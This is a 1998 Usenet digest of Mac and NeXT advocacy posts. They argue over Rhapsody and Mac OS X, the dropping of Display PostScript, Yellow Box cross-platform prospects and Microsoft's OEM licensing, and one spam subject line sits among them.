nntp://news.primenet.com/comp.sys.mac.advocacy
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Joe Ragosta <joe.ragosta@dol.net> said:
>
>Actually, the official word is that G3 is definite, 604e is under
>consideration. There is speculation that it will run on 604e boxes, but
>will not be officially supported.
DR1 Rhapsody will only install on certain machines, but if you install it
on external drive hooked to a supported machine with the same ROM and
processor-type as your non-supported machine, you can often boot from that
hard-drive on the non-supported machine as well.
This is hardly a consumer-level solution, and if Apple choses to, they can
easily ensure that it will be *at least* that hard to get MacOS X to boot
on non-supported machines even if it still "runs on them."
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Mon, 25 May 1998 00:57:55 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35690863.8A1D842E@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <joe.ragosta-2305982110400001@elk46.dol.net> <3567b573.0@206.25.228.5> <joe.ragosta-2405981333400001@elk35.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 25 May 1998 06:02:44 GMT
Joe Ragosta wrote:
> Absolutely true.
>
> But Michael said he doesn't know anyone who's not willingly choosing MS.
Well, no. But since I already know you, Joe, I'll take it in stride.
What I said was that I don't know anybody who uses MS who didn't
willingly choose to use MS, whatever the circumstances. I know plenty of
people who do not use MS and do not choose to use MS.
> I suspect you'll find a large percentage of Linux users in the same boat.
I'm one of them.
MJP
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Mon, 25 May 1998 02:25:09 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2505980225090001@192.168.0.3>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112> <3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3> <6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3> <3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk>
In article <6k9qea$d5n$1@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
:This has been made very clear on several occasions, and it's
:more than frustrating -- although not entirely surprising -- that you
:continue parrot this FUD.
What's FUD about this? Both *implementations* do require DPS. The
actual interfaces might not, but the implementations do.
:Relevant people from Apple (e.g. Jordan Dea-Mattson, Mike Paquette) have
:stated explicitly that whilst remote hosting will not be supported *at the
:moment*, hooks will be present for third parties.
And that does not in any way negate what I said above. The current
implementations do require it, and there are no clear replacements in
sight. Hooks != replacements. Please name me a third party who has
announced that they're going to provide the equivalent of NSHosting in
MacOS X. I have a feeling something will eventually come along, but it's
by no means guaranteed.
:No, the issue (which you brought up) was:
:
:"You guys also saw no reason to assume that DPS or an equivalent would not be
:available."
:We are getting an equivalent which offers WYSIWYG
Well, there seems to be some disagreement in your camp as to whether
something that doesn't use DPS can provide true WYSIWYG. I think it's safe
to say that there are some OpenStep developers who do *not* think they're
getting an equivalent.
:and which is compatible
:with most code that most people have written over the years (i.e. all the
:PSmoveto, PSlineto, and [myObject draw] stuff)
And which still doesn't seem to offer a high level 2D graphics
framework, like GX, Taligent, or Java2D. At least the GX text services are
making it in and Quickdraw is having some significant additions made to
it.
: -- as Henry rightly points
:out, all the time you guys have had your hands over your ears,
Have we? Let's see, in the beginning of these debates we said that
Apple should not use DPS as the primary imaging engine because we had
doubts about its performance and because it belonged to Adobe.
You guys told us that it would be a *huge* task to remove DPS from the
Appkit, and that it made no sense to remove it because 'It just works' You
also assured us that it had no performance problems and that Adobe would
have to be crazy not to come to reasonable licensing terms with Apple.
There was also blather about how you needed DPS for true WYSIWYG, EPS
support, NSHosting, how the publishing market was absolutely drooling over
it, how it was one of the fastest RIPs in existence etc. etc.
So where are we today?
Apple says that they are replacing DPS in Mac OS X because of licensing
issues and because of problems it had in multithreaded situations. And no,
they're not replacing it with some sort of Diplay Ghostscript, the highly
praised client-server display system is being tossed out because it's not
optimal for multimedia. And yipes, there is even a runtime fee for the
Windows YellowBox! Gads, I never would have seen that coming......
:we've been
:saying that *most people don't use PostScript directly*,
Which only strengthens some of our original arguments against it. Since
most developers didn't have to use it directly, there was no real need for
it in the first place. It could only cause licensing problems, and
surprise surprise, it did. Now, Apple's in the process of ripping all
traces of DPS out of the Appkit. Had they started when they first
purchased Next, we might not have to wait 18 more months for Mac OS X.
:and even in applications such as PasteUp it has been pointed out that
there are :*very few lines of PS*.
However, there are OpenStep apps which rely on the presence of a
Postscript interpreter. How will Yellow apps render Postscript files
without DPS? Probably by writing their own PS interpreters. Folks who
never had to touch Postscript before might have to learn quite a bit more
than they ever wanted to about it.
-Eric
From: kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 25 May 1998 06:25:22 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6kb2si$ele$1@geraldo.cc.utexas.edu>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <aa829-2205981611290001@port17.dialb2.gain-ny.com>
Charlie Mingo (aa829@ccn.cs.dal.ca) wrote:
: So the PPC is fast enough that it doesn't need a DSP to do the same kind
: of things the Next-Cube did using a slow 68K. This is something you want
: to complain about? Two chips are always better than one?
Yes! Would you rather have two CPU's in your PC or one? Even Intel
acknowledges the need for a DSP in a PC (a la MMX). A cheap ($20 or so)
standardized DSP would greatly enhance the usability of a machine. Mainframes
are fast because (among other things) they liberally delegate work among
large numbers of diverse processors.
: Plus, AltiVec is coming in a few months.
This may be good enough. We'll wait and see.
: > If there is an expensive app that is not used all the time, then you can
: > buy one copy and have multiple users share it. MS *greatly* discourages
: > this practice. It's very cost efficient, even if each copy costs more.
: It seems a bit of a stretch to go all the trouble of retaining DSP just to
: finess an MS licensing issue. It's really a problem for the MS licensing
: dept to deal with.
: BTW: Does MS support YellowBox on any platform? If not, why is its
: licensing strategy relevent?
MS does not want remote display, because it will limit the number of
licenses they sell, regardless of the benefit to the consumer. DSP is not
related to this, only NXHosting.
: > If you can't see the .eps graphic in your edit window, then it is not
: > visible. Previewing is a stupid idea.
: Apple said that, while it would not be implementing a PostScript
: interpreter as an import method as part of the OS, there is nothing to
: stop a third-party from modifying GhostScript for that purpose.
: Apparently, Apple could not include GhostScript on the OS for licensing
: reasons.
Fine, but these are just excuses. Why should I use a document generation
environment if I can't even see imported graphics in the editor? If WYSIWYG
is not a standard feature supported by the OS, then 3rd party solutions will
not always provide it.
......................................................................
: Kurt D. Bollacker University of Texas at Austin :
: kdb@pine.ece.utexas.edu P.O. Box 8566, Austin, TX 78713 :
:....................................................................:
From: kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 25 May 1998 06:49:28 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6kb49o$ele$2@geraldo.cc.utexas.edu>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <6jsm6t$bjf$1@geraldo.cc.utexas.edu> <aa829-2305981112520001@port11.dialb2.gain-ny.com>
Charlie Mingo (aa829@ccn.cs.dal.ca) wrote:
: In the "Graphics and Imaging for MacOS X" talk, they said they would be
: unified fonts.
Great, if it comes to pass.
: > Without seemless EPS inclusion, ...
: > My Approximate top 3 important features (decreasing in importance) are:
: > 1. Seemless, visible .eps insertion.
: 1(a). The word is "seamless." A "seam" is the line-region where two
: pieces of material are attached (eg, sewn together to make clothing).
: "Seem" is a verb (to appear to be something or someone).
oops.
: 1(b). There is nothing in OS-X preventing someone from implementing a PS
: interpreter for EPS import. Apple said that they couldn't include
: GhostScript in the OS for licensing reasons, but that it could easily be
: adapted for this purpose.
Ahhh. But will it be there? I'm not willing to gamble. If .eps handling
works well when MacOSX ships, then great. If it ends up being a freeware
or shareware solution, then it'll probably appear on Linux about the
same time, making OSX unncessary.
: 1(c). DPS isn't supported any more by Adobe, and Rhapsody will be the last
: shipping OS that supports it, so it might be prudent to start thinking of
: alternatives (like PDF).
I can get by without DPS, but then Linux is a superior OS (for me personally)
than OSX will be. I want a Mac to replace the marvelous document generating
environment on my old NeXT machine.
: > 3. Compatible file transfer to other OSes through the CLI (e.g.
: > sending a .pdf file to a Windows box via CLI based FTP without
: > having to deal with fork issues)
: People have been transferring files to and from Macs for years without
: "having to deal with fork issues." Either use a client that is fork-savvy
: or use a file-system (like UFS) that doesn't have forks.
How? Name a fork-savvy UNIX client. Even in UFS, forks must be represented
somehow.
: > How much of this will be left in OSX? All of it is in NS3.2.
: Great. Continue using NS3.2 if that works for you.
I will, but my machine is already 6 years old. It's rather pathetic that
Apple will release an OS that will be 7 years newer than my old NeXTSTEP and
will have such glaring inferiorities. Eventually, I'll have to upgrade my
hardware, but it really is annoying to significantly downgrade my software
in the process.
: > I
: > already have a better scripting architecture (Perl) than what
: > AppleScripting seems like it will be. On what other OSes can I run
: > AppleScript?
: It's a meaningless comparison. Perl scripts and AppleScripts don't do the
: same thing. Perl is a language mainly for the manipulation of text
: strings. AppleScript is a scripting language mainly for controlling MacOS
: apps (and now YellowBox apps), using the OSA architecture. There are few
: cases where these two tools could be substituted for each other.
Uhh. No. Perl can quite handily control UNIX apps. (at least text based and
client/server based ones) It does handle text very well. And you are
wrong about substitution. Someone would need to write the "OSA architecture"
API package for perl, but it probably would work just as well as any
other scripting language.
......................................................................
: Kurt D. Bollacker University of Texas at Austin :
: kdb@pine.ece.utexas.edu P.O. Box 8566, Austin, TX 78713 :
:....................................................................:
From: root.noharvest.\@not_even\here.com (-)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - Win98 is full of IE.
Date: Mon, 25 May 1998 08:34:13 GMT
Organization: -
Message-ID: <35692b09.216671144@nntp.idsonline.com>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <Josh.McKee-2405980959090001@pm3a10.rmac.net> <6k9gh7$5lk$1@nargun.cc.uq.edu.au> <35688277.23AF584F@flash.net>
LShaping <NoSpam@flash.net> Said this:
>
>
>Christopher Smith wrote:
>
>> Joshua T. McKee wrote in message ...
>> >In article <6k883d$okb$4@strato.ultra.net>, "John Saunders"
>> ><jws@jws.ultranet.com> wrote:
>> >
>> >> Joshua T. McKee wrote in message ...
>> >> I have seen no reason to believe that Microsoft prevents vendors from
>> >> configuring Navigator as the default browser, depending on what you mean
>> by
>> >> "default browser". If you mean "the program that runs when I double-click
>> a
>> >> .HTML file", then I see no reason at all why a vendor can't make that
>> >> change. They are allowed to install whatever additional products they
>> want,
>> >> and that normally creates or changes file associations. I am unable to
>> >> guess what else you might mean by "default browser", so please elaborate.
>> >
No..... you are absolutely off the mark here. I suggest you actually
FOLLOW THE NEWS STORY a little here. Microsoft's agreements with the
various hardware assemblers (they don't manufacture, unless you say
that you manufactured a house out of legos) that restricts what they
can and cannot do with a PC with a microsoft product on it. It goes
so far that they pay microsoft for windows on every PC shipped,
regardless of whether they actually install the OS or not - it could
be a blank, empty PC with nothing at all on it, and they pay for it -
which is why I always build my own PC.
The original agreement, and I believe it's only been slightly modified
since it's original inception, is that they cannot place netscape
navigator on the PC at all. They had to have the IE logo on the
desktop, and it had to either launch the application or launch the
installation routine. One or the other.
>> >
>> >Why can't the vendor alter the bootup sequence so that IE isn't anywhere
>> >to be found? Even the initial bootup sequence.
>>
>> Because they are contractually obliged not to. How do you think Apple would
>> react if CompUSA sold all their Macs so that they booted straight to VPC
>> running Windows 95 ? I see no huge problem with Microsoft setting
>> restrictions on how their OS boots on a machine the *first* time (note that
>> the manufacturer can set the machine to do whatever it wants after that
>> first boot).
>>
You are oversimplifying this. Of course Macintosh PCs should have
Macintosh OS on it.... that's not an issue, they make the hardware,
they make the software and they compete fairly in the marketplace.
"IBM" PC's on the other hand, are not the sole domain of Microsoft...
Dell should have control over what goes on a Dell made computer, and
HP should control what goes on a HP made computer. That's fine and
dandy. The people who make the transmission for GM cars do not
restrict what else goes on a GM car - and Windows is nothing more than
the transmission.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Mon, 25 May 1998 01:50:36 -0700
Message-ID: <see-below-2505980150360001@209.24.240.99>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <aa829-2205981611290001@port17.dialb2.gain-ny.com> <6kb2si$ele$1@geraldo.cc.utexas.edu>
In article <6kb2si$ele$1@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> Charlie Mingo (aa829@ccn.cs.dal.ca) wrote:
>
> : So the PPC is fast enough that it doesn't need a DSP to do the same kind
> : of things the Next-Cube did using a slow 68K. This is something you want
> : to complain about? Two chips are always better than one?
>
> Yes! Would you rather have two CPU's in your PC or one? Even Intel
> acknowledges the need for a DSP in a PC (a la MMX). A cheap ($20 or so)
> standardized DSP would greatly enhance the usability of a machine. Mainframes
> are fast because (among other things) they liberally delegate work among
> large numbers of diverse processors.
>
> : Plus, AltiVec is coming in a few months.
>
> This may be good enough. We'll wait and see.
PPC already has some instructions (particularly multiply-accumulate) that
make it very fast for DSP-like operations. So MMX is more catching up to
PPC than adding a whole lot that PPC doesn't have.
There used to be some multiple DPS-based cards for 68k Macs that
accelerated Photoshop, but they went away when PPC came along.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: xxJennaJaimeson@celebsxxxx.com
Newsgroups: comp.sys.next.advocacy
Subject: ** STAR TREK CHICKS NUDE FREE 82031
Date: Monday, 25 May 1998 05:52:41 -0600
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Distribution: World
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Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <25059805.5241@celebsxxxx.com> ignore no reply
Control: cancel <25059805.5241@celebsxxxx.com>
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Date: Mon, 25 May 1998 07:06:52 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-2505980706530001@elk52.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <joe.ragosta-2305982110400001@elk46.dol.net> <3567b573.0@206.25.228.5> <joe.ragosta-2405981333400001@elk35.dol.net> <35690863.8A1D842E@nstar.net>
In article <35690863.8A1D842E@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > Absolutely true.
> >
> > But Michael said he doesn't know anyone who's not willingly choosing MS.
>
> Well, no. But since I already know you, Joe, I'll take it in stride.
>
> What I said was that I don't know anybody who uses MS who didn't
> willingly choose to use MS, whatever the circumstances. I know plenty of
> people who do not use MS and do not choose to use MS.
And, as I stated, I use MS but did not willingly choose it.
>
> > I suspect you'll find a large percentage of Linux users in the same boat.
>
> I'm one of them.
>
> MJP
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Mon, 25 May 1998 08:38:15 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35697447.9C906249@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <joe.ragosta-2305982110400001@elk46.dol.net> <3567b573.0@206.25.228.5> <joe.ragosta-2405981333400001@elk35.dol.net> <35690863.8A1D842E@nstar.net> <joe.ragosta-2505980706530001@elk52.dol.net>
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NNTP-Posting-Date: 25 May 1998 13:43:02 GMT
Joe Ragosta wrote:
> > What I said was that I don't know anybody who uses MS who didn't
> > willingly choose to use MS, whatever the circumstances. I know plenty of
> > people who do not use MS and do not choose to use MS.
>
> And, as I stated, I use MS but did not willingly choose it.
Okay, this is good. Now, if you could just explain how exactly that
happens? I'm curious to know how it is possible for humans to perform an
action they did not willingly choose. I've heard of physical force and
chemical influence, and I'm wondering if those were involved, because I
can't think of another way.
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: 25 May 1998 08:55:17 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kbbll$jkc$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM>
<6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3>
<rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37>
<356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu>
<3566CEAC.EC53C221@nstar.net>
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Cc: mjpeck@nstar.net
In <3566CEAC.EC53C221@nstar.net> "Michael J. Peck" claimed:
> Well, this makes me sorta nervous. If it's a TriMedia comparison, it's
> not about easy of development, it's actually because TriMedia has gotten
> out of the 3D market altogether after the abject failure of the
> Pyramid3D project.
Pyramid was based on TriMedia?
Maury
Date: Mon, 25 May 1998 10:59:31 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-2505981059310001@elk49.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <joe.ragosta-2305982110400001@elk46.dol.net> <3567b573.0@206.25.228.5> <joe.ragosta-2405981333400001@elk35.dol.net> <35690863.8A1D842E@nstar.net> <joe.ragosta-2505980706530001@elk52.dol.net> <35697447.9C906249@nstar.net>
In article <35697447.9C906249@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > > What I said was that I don't know anybody who uses MS who didn't
> > > willingly choose to use MS, whatever the circumstances. I know plenty of
> > > people who do not use MS and do not choose to use MS.
> >
> > And, as I stated, I use MS but did not willingly choose it.
>
> Okay, this is good. Now, if you could just explain how exactly that
> happens? I'm curious to know how it is possible for humans to perform an
> action they did not willingly choose. I've heard of physical force and
> chemical influence, and I'm wondering if those were involved, because I
> can't think of another way.
Give me a break.
I have a family to feed. I have several choices:
1. Quit my job and let them starve until I find another job of comparable
position (not very easy).
or
2. Use Windows.
If that's not "force", I don't know what is.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 25 May 1998 11:10:43 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Message-ID: <joe.ragosta-2505981110440001@elk49.dol.net>
References: <joe.ragosta-2405980800010001@elk60.dol.net> <B18E52BF-1263AB@206.165.43.142>
In article <B18E52BF-1263AB@206.165.43.142>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >Actually, the official word is that G3 is definite, 604e is under
> >consideration. There is speculation that it will run on 604e boxes, but
> >will not be officially supported.
>
>
> DR1 Rhapsody will only install on certain machines, but if you install it
> on external drive hooked to a supported machine with the same ROM and
> processor-type as your non-supported machine, you can often boot from that
> hard-drive on the non-supported machine as well.
>
> This is hardly a consumer-level solution, and if Apple choses to, they can
> easily ensure that it will be *at least* that hard to get MacOS X to boot
> on non-supported machines even if it still "runs on them."
Of course, DR1 was, by definition, not intended as a consumer level
solution, so it's hardly relevant.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Mon, 25 May 1998 11:04:45 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3569969D.5E99D336@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
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NNTP-Posting-Date: 25 May 1998 16:10:24 GMT
Maury Markowitz wrote:
> > But the whole reason for going to NT is market coverage.
>
> But they aren't going to _NT_, they're going to _Windows_. There's a huge
> difference.
No. Maybe it's just the industry I work in, but I never hear of people
going to "Windows". They're going to NT.
Unless you're just talking about your average, everyday office building
wherein secretaries type memos for companywide distribution and play
solitaire the rest of the time. That's "Windows", as in "Windows 95" or
"Windows 3.x", which is irrelevant for this discussion (from my point of
view).
> > If you can get
> > more coverage from Yellow Box, why not? Especially when the testimonials
> > of rapid development times begin to roll in.
>
> Because the last thing Apple needs to do now is to overpromise and
> underdeliver (again).
Wrong! Why does everyone get this wrong? Why is everybody so twisted up
about the idea of a company making promises?
Apple shouldn't underdeliver. But it's far from the last thing it needs
to do. And Apple *definitely* needs to make big promises right now. It
also needs to intend to fulfill them. But don't make like Apple's best
course of action is some safe, minimalist track that won't offend or
excite anybody. That's horsesh**.
> A Solaris programmer is almost certainly writing
> either server side code or embedded apps. In neither of these cases is YB of
> interest. More to the point for YB to be interesting you need to find
> programmers who fit into a group that looks like...
Well, frankly, you're wrong. I don't know how much exposure you have to
the Unix development market, but there's a very large market for GUI
apps that put Unix to use in ways NT can't deliver.
At Federal Express one of our group's largest projects was a
weather-tracking client/server app designed by American Airlines. We
were developing a client-side front-end in Motif. Much of the app was
embedded, yes, but our whole job was the client, so we were largely
concerned with GUI facilities.
If we could have deployed the app on the client of our choice (on a
case-by-case basis), as Yellow Box might once-upon-a-time have allowed,
it would have been a clear choice. FedEx has a multiple-vendor policy,
and they have boxes from all kinds of companies sitting around. To have
a weather-tracking app that would run on NT, HPUX, AIX, Solaris, and SCO
UNIX is an idea that would have sold itself in moments.
> SolarisUserNeedsYB == NO for the VAST majority of programmers out there if
> based as above. On the other hand...
I respectfully disagree. You're very wrong about this...
> Win32UserNeedsYB = (Win32_client || Mac_client);
>
> and that's MUCH more likely to be YES.
Just out of curiosity, what makes you say this? I think you're
constructing an artificial distinction based on your experience with
what you envision as "server operating systems" and "GUI operating
systems". You'd say Solaris is a "server operating system" and thus
never really sees much GUI use.
Solaris does, in fact, see a tremendous amount of desktop GUI use. It's
almost entirely unacceptable, nowadays, to develop any kind of software
that does not have an easily-accessible GUI interface, even if just for
configuration. GUI programming is an integral part of server programming
these days.
> > Right, another piece of the puzzle: Linux. A popular platform with
> > rapidly growing support.
>
> Sure, but Linux is not Solaris. I don't see any real market for Solaris, I
> do see one for Linux.
That's _really_ untrue. Linux and Solaris sell to different markets, a
fact that Sun has demonstrated by endorsing Linux and lending it
credibility.
> I believe the Linux solution is Rhapsody for Intel.
The Linux solution is Yellow Box (Concert) for Linux. Just as the
Solaris solution is Concert for Solaris. The underlying processor is
totally irrelevant. Linux runs on Intel, PPC, SPARC, and Alpha
(predominantly) and Solaris runs on SPARC and Intel. Someday both will
run on Merced. I have no idea what the processor has to do with the
Yellow Box solution.
> > No, but let me explain a concept I'm finding difficult to put into
> > words. It goes like this: 100% is better than 90%
>
> For 1% of the developers.
Name a developer who doesn't benefit from total market coverage. Most
developers I know would give their right arms to sell into the Unix
market with an existing app. They're tired of razor-thin margins in the
consumer space and they want corporate contracts. That's why anybody
with a brain has already ported to NT.
> > Let me put it this way: there's no point in a dual-platform strategy. It
> > makes no sense.
>
> It does is those two platforms get you 99% of developer coverage.
What?! NT gives you that. Why should anyone give a shit about Yellow Box
if all they get is what they already have anyway? Don't make me laugh,
you can't sell Yellow Box on the basis of market coverage if it doesn't
actually *increase* market coverage!
MJP
From: Remco Post <root@localhost.localdomain>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Mon, 25 May 1998 18:18:05 +0200
Organization: University of Twente, Enschede, The Netherlands
Message-ID: <356999BD.70545488@localhost.localdomain>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net> <see-below-2105981906100001@209.24.241.47> <356564CF.B5BC821A@milestonerdl.com> <356668D2.BFB206DD@alumni.caltech.edu>
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William Edward Woody wrote:
> Embedded processors, on the other hand, don't have the luxury of
> shipping in large volumes
[big snips]
and all people ever told me was that the embedded market was MUCH larger
(10 to 100 times) than the desktop market, somebody must be mistaking.
Remco
--
Remco Post is R.S.P.Post<at>student<dot>utwente<dot>nl
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 25 May 1998 09:23:06 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kbd9q$jkc$2@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
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Cc: mjpeck@nstar.net
In <3565EAF0.282C4C33@nstar.net> "Michael J. Peck" claimed:
